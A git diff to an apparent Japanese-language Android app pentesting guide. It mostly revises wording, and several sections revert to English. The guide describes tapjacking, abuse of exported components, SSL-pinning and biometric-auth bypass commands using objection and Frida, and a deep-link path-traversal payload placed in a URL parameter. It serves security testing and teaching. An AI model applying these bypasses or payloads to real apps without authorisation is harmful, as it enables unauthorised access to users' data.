diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 596676a81..2d79a9aa6 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -334,6 +334,7 @@ - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) + - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md) - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md) - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) - [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index f3ed834e4..d7b50a62e 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -26,6 +26,7 @@ adbの使い方を学ぶために、以下の[**ADB Commands**](adb-commands.md) - [Play Storeでの位置情報の偽装](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API(ADBベースの非ルート特権アクセス)](shizuku-privileged-api.md) +- [安全でないアプリ内更新メカニズムの悪用](insecure-in-app-update-rce.md) - **APKのダウンロード**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - デバイスからAPKを抽出: ```bash @@ -53,7 +54,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ### 興味深い情報の探索 -APKの**文字列**を確認するだけで、**パスワード**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**など、興味深いものを探すことができます... コード実行の**バックドア**や認証バックドア(アプリにハードコーディングされた管理者資格情報)も探してください。 +APKの**文字列**を確認するだけで、**パスワード**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**などの**興味深い情報**を探すことができます... コード実行の**バックドア**や認証バックドア(アプリにハードコーディングされた管理者資格情報)も探してください。 **Firebase** @@ -77,8 +78,8 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL** ([ht ### タップジャッキング -**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、その間にその対話を被害者アプリに渡します。\ -実際には、**ユーザーが被害者アプリで実際にアクションを実行していることを知らないようにしています**。 +**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、実際には被害者アプリに対してその対話を渡しています。\ +実際には、**ユーザーが被害者アプリでアクションを実行していることを知らないようにしています**。 詳細情報は以下を参照してください: @@ -105,14 +106,14 @@ Androidでは、**内部**ストレージに**保存された**ファイルは 1. **静的分析:** - `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く検討されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。 2. **動的分析:** -- アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に読み取りまたは書き込み可能に設定されているか**を**チェック**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。 +- アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に対して読み取りまたは書き込み可能に設定されているか**を**チェック**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。 **外部ストレージ** **外部ストレージ**上のファイルを扱う際には、いくつかの注意が必要です: 1. **アクセス可能性**: -- 外部ストレージ上のファイルは**全世界に読み取りおよび書き込み可能**です。つまり、任意のアプリケーションやユーザーがこれらのファイルにアクセスできます。 +- 外部ストレージ上のファイルは**全世界に対して読み取りおよび書き込み可能**です。つまり、任意のアプリケーションやユーザーがこれらのファイルにアクセスできます。 2. **セキュリティの懸念**: - アクセスの容易さを考慮すると、**機密情報を外部ストレージに保存しないことが推奨されます**。 - 外部ストレージは取り外し可能であり、任意のアプリケーションによってアクセスされる可能性があるため、セキュリティが低下します。 @@ -150,12 +151,12 @@ A good way to test this is to try to capture the traffic using some proxy like B **Use of Insecure and/or Deprecated Algorithms** -開発者は、認証チェック、データの保存または送信を行うために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**ハッシュ**を使用する場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。 +開発者は、認証チェック、データの保存または送信を行うために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**ハッシュ**が使用される場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。 ### Other checks - APKを**難読化する**ことを推奨します。これにより、攻撃者のリバースエンジニアリング作業が困難になります。 -- アプリが機密性の高いものである場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、適切に対処する必要があります。 +- アプリが機密性の高いものである場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、それに応じて行動する必要があります。 - アプリが機密性の高いものである場合(銀行アプリなど)、**エミュレーター**が使用されているかどうかを確認する必要があります。 - アプリが機密性の高いものである場合(銀行アプリなど)、**実行前に自身の整合性を確認**し、変更されていないかを確認する必要があります。 - [**APKiD**](https://github.com/rednaga/APKiD)を使用して、APKをビルドするために使用されたコンパイラ/パッカー/難読化ツールを確認します。 @@ -267,34 +268,34 @@ You need to activate the **debugging** options and it will be cool if you can ** **Logging** -開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は使いやすさと可読性のために好まれます。 +Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability. > [!WARNING] -> **Android 4.0以降**、**アプリケーションは自分のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\ -> それでも、**機密情報をログに記録しない**ことを推奨します。 +> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ +> Anyway, it's still recommended to **not log sensitive information**. **Copy/Paste Buffer Caching** -Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードにアクセスできるため、機密データが露出するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションに対して**コピー/ペースト**機能を無効にすることが重要です。 +Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードにアクセスできるため、機密データが漏洩するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションでは**コピー/ペースト**機能を無効にすることが重要です。 **Crash Logs** アプリケーションが**クラッシュ**し、**ログを保存**する場合、これらのログは攻撃者に役立つ可能性があります。特にアプリケーションがリバースエンジニアリングできない場合はそうです。このリスクを軽減するために、クラッシュ時にログを記録しないようにし、ログをネットワーク経由で送信する必要がある場合は、SSLチャネルを介して送信されることを確認してください。 -ペンテスターとして、**これらのログを確認することをお勧めします**。 +As pentester, **try to take a look to these logs**. **Analytics Data Sent To 3rd Parties** -アプリケーションは、Google Adsenseのようなサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないかを確認することをお勧めします。 +アプリケーションは、Google Adsenseなどのサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、アプリケーションのトラフィックを**インターセプト**し、第三者サービスに送信される機密情報がないかを確認することをお勧めします。 ### SQLite DBs -ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中は、作成された**データベース**、**テーブル**と**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報を見つけることができるかもしれません(これは脆弱性となります)。\ -データベースは`/data/data/the.package.name/databases`に位置し、例えば`/data/data/com.mwr.example.sieve/databases`のようになります。 +Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\ +Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases` -データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。 +If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**. -`.tables`を使用してテーブルを列挙し、`.schema `を使用してテーブルのカラムを列挙します。 +Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema ` ### Drozer (Exploit Activities, Content Providers and Services) @@ -308,7 +309,7 @@ Also remember that the code of an activity starts in the **`onCreate`** method. **Authorisation bypass** -Activityがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むActivityが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスすることができます。 +When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.** [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) @@ -342,7 +343,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ### **サービスの悪用** [**サービスについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#services)\ -サービスのアクションは`onStartCommand`メソッドで開始されることを覚えておいてください。 +サービスのアクションは`onStartCommand`メソッドで始まることを覚えておいてください。 サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すことができるものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\ [**Drozerを使用してサービスを悪用する方法を学びましょう。**](drozer-tutorial/index.html#services) @@ -350,7 +351,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ### **ブロードキャストレシーバーの悪用** [**ブロードキャストレシーバーについて復習したい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\ -ブロードキャストレシーバーのアクションは`onReceive`メソッドで開始されることを覚えておいてください。 +ブロードキャストレシーバーのアクションは`onReceive`メソッドで始まることを覚えておいてください。 ブロードキャストレシーバーは、特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱である可能性があります。\ [**Drozerを使用してブロードキャストレシーバーを悪用する方法を学びましょう。**](#exploiting-broadcast-receivers) @@ -371,18 +372,18 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的 ``` **実行されるコード** -**アプリ内で実行されるコード**を見つけるために、ディープリンクによって呼び出されるアクティビティに移動し、関数**`onNewIntent`**を検索します。 +**アプリで実行されるコードを見つけるために**、ディープリンクによって呼び出されるアクティビティに移動し、関数**`onNewIntent`**を検索します。 ![](<../../images/image (436) (1) (1) (1).png>) **機密情報** -ディープリンクを見つけるたびに、**URLパラメータを介して機密データ(パスワードなど)を受信していないか確認する必要があります**。他のアプリケーションが**ディープリンクを偽装してそのデータを盗む可能性があるからです!** +ディープリンクを見つけるたびに、**URLパラメータを介して機密データ(パスワードなど)を受信していないか確認してください**。他のアプリケーションが**ディープリンクを偽装してそのデータを盗む可能性があります!** **パス内のパラメータ** -**URLのパス内でパラメータを使用しているディープリンクがあるかどうかも確認する必要があります**。例えば、`https://api.example.com/v1/users/{username}` のように。この場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパスのトラバーサルを強制することができます。\ -アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**(CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合)、およびその他の脆弱性を引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。 +**URLのパス内にパラメータを使用しているディープリンクがあるかどうかも確認する必要があります**。例えば、`https://api.example.com/v1/users/{username}` のように。この場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパスのトラバーサルを強制することができます。\ +アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**(CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合)やその他の脆弱性を引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。 **さらなる例** @@ -392,7 +393,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的 - **証明書はAndroidアプリケーションによって常に適切に検査されるわけではありません**。これらのアプリケーションは警告を見落とし、自己署名証明書を受け入れたり、場合によってはHTTP接続に戻ったりすることが一般的です。 - **SSL/TLSハンドシェイク中の交渉は時々弱く**、安全でない暗号スイートを使用しています。この脆弱性により、接続が中間者攻撃(MITM)に対して脆弱になり、攻撃者がデータを復号化できるようになります。 -- **プライベート情報の漏洩**は、アプリケーションが安全なチャネルを使用して認証するが、他のトランザクションのために非安全なチャネルで通信する場合にリスクがあります。このアプローチは、セッションクッキーやユーザーの詳細などの機密データを悪意のあるエンティティによる傍受から保護できません。 +- **プライベート情報の漏洩**は、アプリケーションが安全なチャネルを使用して認証を行った後、他のトランザクションのために非安全なチャネルで通信する場合にリスクがあります。このアプローチは、セッションクッキーやユーザーの詳細などの機密データを悪意のあるエンティティによる傍受から保護できません。 #### 証明書の検証 @@ -414,15 +415,15 @@ HTTPトラフィックを検査するには、**プロキシツールの証明 SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のためにさまざまな方法があります: -- 自動的に**apkを修正**してSSLピンニングを**バイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにrootが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。 -- **Frida**を使用してこの保護をバイパスすることもできます。Burp+Frida+Genymotionを使用するためのガイドはこちらです:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- **objection**を使用してSSLピンニングを**自動的にバイパス**することもできます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- **MobSF動的分析**を使用してSSLピンニングを**自動的にバイパス**することも試みることができます(下記で説明)。 -- まだキャプチャしていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをBurpに転送**することを試みることができます。このブログを読んでください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- **apkを自動的に修正**してSSLピンニングを**バイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにルートが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。 +- **Frida**を使用してこの保護をバイパスすることもできます(以下で説明)。Burp+Frida+Genymotionを使用するためのガイドはこちらです:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- **objection**を使用してSSLピンニングを**自動的にバイパス**することも試みることができます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- **MobSF動的分析**を使用してSSLピンニングを**自動的にバイパス**することも試みることができます(以下で説明)。 +- まだキャプチャしていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをburpに転送**することを試みることができます。このブログを読んでください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### 一般的なWeb脆弱性の検索 -アプリケーション内で一般的なWeb脆弱性を検索することも重要です。これらの脆弱性を特定し、軽減するための詳細情報はこの要約の範囲を超えていますが、他の場所で広範にカバーされています。 +アプリケーション内で一般的なWeb脆弱性を検索することも重要です。これらの脆弱性を特定し、軽減するための詳細な情報はこの要約の範囲を超えていますが、他の場所で広範にカバーされています。 ### Frida @@ -431,7 +432,7 @@ SSLピンニングが実装されている場合、HTTPSトラフィックを検 Androidアプリケーションをペンテストするには、Fridaの使い方を知っておく必要があります。 - Fridaの使い方を学ぶ:[**Fridaチュートリアル**](frida-tutorial/index.html) -- Fridaを使ったアクションのための「GUI」:[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Fridaでのアクション用の「GUI」:[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - OjectionはFridaの使用を自動化するのに最適です:[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - ここで素晴らしいFridaスクリプトを見つけることができます:[**https://codeshare.frida.re/**](https://codeshare.frida.re) - [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているようにFridaを読み込んで、アンチデバッグ/アンチFridaメカニズムをバイパスしてみてください(ツール[linjector](https://github.com/erfur/linjector-rs))。 @@ -455,7 +456,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` ### **Keystore内の機密データ** -Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはルートユーザーとしてこれを確認する必要があります。さもなければ、物理的にデバイスにアクセスできる誰かがこのデータを盗むことができるかもしれません。 +Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはそれを確認する必要があります。ルートユーザーやデバイスに物理的にアクセスできる誰かがこのデータを盗む可能性があります。 アプリがKeystoreにデータを保存していても、そのデータは暗号化されているべきです。 @@ -465,7 +466,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **指紋/生体認証バイパス** -次のFridaスクリプトを使用することで、Androidアプリケーションが特定の機密領域を保護するために実行している**指紋認証をバイパス**することが可能になるかもしれません: +次のFridaスクリプトを使用することで、Androidアプリケーションが特定の機密領域を保護するために行っている**指紋認証をバイパス**することが可能になるかもしれません: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` @@ -473,11 +474,11 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ` `VT_UPLOAD = TRUE`)。`VT_UPLOAD`を`False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。 +MobSFは、**diff/Compare**分析を行い、**VirusTotal**を統合することも可能です(_MobSF/settings.py_にAPIキーを設定し、次のように有効にする必要があります:`VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`)。`VT_UPLOAD`を`False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。 ### MobSFによる支援された動的分析 -**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要があります(VMやDockerでは動作しません)。_注: まず**genymotionでVMを起動**し、**その後MobSFを起動**する必要があります。_\ -**MobSF動的アナライザー**は以下のことができます: +**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要があります(VMやDockerでは動作しません)。_注:最初に**genymotionでVMを起動**し、**その後MobSFを起動する必要があります。_\ +**MobSF動的アナライザー**は以下を行うことができます: -- **アプリケーションデータをダンプ**(URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル)。これらはすべて自動的に行われますが、スクリーンショットは、撮りたいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するために"**Exported Activity Tester**"を押す必要があります。 +- **アプリケーションデータをダンプ**(URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル)。これらはすべて自動的に行われますが、スクリーンショットは、撮りたいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するには、"**Exported Activity Tester**"を押す必要があります。 - **HTTPSトラフィックをキャプチャ** - **Frida**を使用して**ランタイム**の**情報**を取得 -Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、**トラフィックをキャプチャ**するためのグローバル**プロキシ**設定が行われます。テストされたアプリケーションからのトラフィックのみをキャプチャします。 +Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、トラフィックを**キャプチャ**するためのグローバル**プロキシ**設定が行われます。テストされたアプリケーションからのトラフィックのみをキャプチャします。 **Frida** デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトも使用します。\ -MobSFはまた、エクスポートされたアクティビティを**呼び出し**、それらの**スクリーンショット**を取得し、レポート用に**保存**することもできます。 +MobSFは、エクスポートされたアクティビティを**呼び出し**、それらの**スクリーンショット**を取得し、レポート用に**保存**することもできます。 -**動的テストを開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログが表示され、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます(これは"Start Instrumentation"を押した後に表示されます)。\ -MobSFはまた、独自の**Fridaスクリプト**を読み込むこともできます(Fridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。さらに、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)。ただし、**それらを選択し**、"**Load**"を押し、"**Start Instrumentation**"を押す必要があります(そのスクリプトのログは"**Frida Live Logs**"内で見ることができます)。 +動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログが表示され、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます(これは"Start Instrumentation"を押した後に表示されます)。\ +MobSFは、独自の**Fridaスクリプト**を読み込むこともできます(Fridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)。ただし、**それらを選択し**、"**Load**"を押し、"**Start Instrumentation**"を押す必要があります(そのスクリプトのログは"**Frida Live Logs**"内で見ることができます)。 ![](<../../images/image (419).png>) さらに、いくつかの補助的なFrida機能があります: -- **読み込まれたクラスを列挙**: すべての読み込まれたクラスを表示します -- **文字列をキャプチャ**: アプリケーションを使用中にキャプチャされたすべての文字列を表示します(非常にノイジーです) -- **文字列比較をキャプチャ**: 非常に便利です。**比較されている2つの文字列**と、結果がTrueかFalseかを表示します。 -- **クラスメソッドを列挙**: クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドが表示されます。 -- **クラスパターンを検索**: パターンでクラスを検索 -- **クラスメソッドをトレース**: **クラス全体をトレース**(そのクラスのすべてのメソッドの入力と出力を確認)。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。 +- **読み込まれたクラスを列挙**:すべての読み込まれたクラスを表示します +- **文字列をキャプチャ**:アプリケーションを使用中にキャプチャされたすべての文字列を表示します(非常にノイジーです) +- **文字列比較をキャプチャ**:非常に便利です。**比較されている2つの文字列**と、結果がTrueかFalseかを表示します。 +- **クラスメソッドを列挙**:クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドが表示されます。 +- **クラスパターンを検索**:パターンでクラスを検索します +- **クラスメソッドをトレース**:**クラス全体をトレース**します(そのクラスのすべてのメソッドの入力と出力を確認します)。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。 -使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押すと、すべての出力が"**Frida Live Logs**"に表示されます。 +使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押す必要があり、すべての出力は"**Frida Live Logs**"に表示されます。 **Shell** -Mobsfは、動的分析ページの下部にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェル**コマンドを持つシェルも提供します。いくつかの興味深いコマンド: +MobSFは、動的分析ページの下部にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェル**コマンドを持つシェルも提供します。いくつかの興味深いコマンド: ```bash help shell ls @@ -573,10 +574,10 @@ receivers ``` **HTTPツール** -HTTPトラフィックがキャプチャされると、キャプチャされたトラフィックの醜いビューが「**HTTP(S) Traffic**」の下部に表示されるか、「**Start HTTPTools**」の緑のボタンでより良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**を**プロキシ**(BurpやOwasp ZAPなど)に**送信**できます。\ -そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSBのHTTPToolsでリクエストを選択_ --> 「**Send to Fuzzer**」を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。 +HTTPトラフィックがキャプチャされると、"**HTTP(S) Traffic**"の下にキャプチャされたトラフィックの醜いビューが表示されるか、"**Start HTTPTools**"の緑のボタンでより良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**を**プロキシ**(BurpやOwasp ZAPなど)に**送信**できます。\ +そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSBのHTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。 -MobSFで動的分析が終了したら、「**Start Web API Fuzzer**」を押して**HTTPリクエストをファズ**し、脆弱性を探します。 +MobSFで動的分析が終了したら、"**Start Web API Fuzzer**"を押して**HTTPリクエストをファズ**し、脆弱性を探します。 > [!TIP] > MobSFで動的分析を実行した後、プロキシ設定が誤って構成される可能性があり、GUIから修正できなくなることがあります。プロキシ設定を修正するには、次のコマンドを実行します: @@ -598,7 +599,7 @@ MobSFで動的分析が終了したら、「**Start Web API Fuzzer**」を押し ### [Qark](https://github.com/linkedin/qark) -このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための「Proof-of-Concept」デプロイ可能APKおよび**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。 +このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すために設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための**"Proof-of-Concept"デプロイ可能APK**と**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。 ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -652,7 +653,7 @@ androbugs.exe -f [APK file] 検出は、アプリケーションのDalvikバイトコードの**静的分析**を使用して行われ、**Smali**として表現されます。[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。 -このツールは、次のような「悪い」アプリケーションの**一般的な動作**を探します: テレフォニー識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行... +このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します:電話識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -715,17 +716,17 @@ APKをデオブフスケートするためのステップバイステップガ APKiDは**APKがどのように作成されたか**に関する情報を提供します。多くの**コンパイラ**、**パッカー**、**難読化ツール**、およびその他の奇妙なものを特定します。これはAndroid用の[_PEiD_](https://www.aldeid.com/wiki/PEiD)です。 -### マニュアル +### Manual -[カスタム難読化を逆コンパイルする方法に関するいくつかのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md) 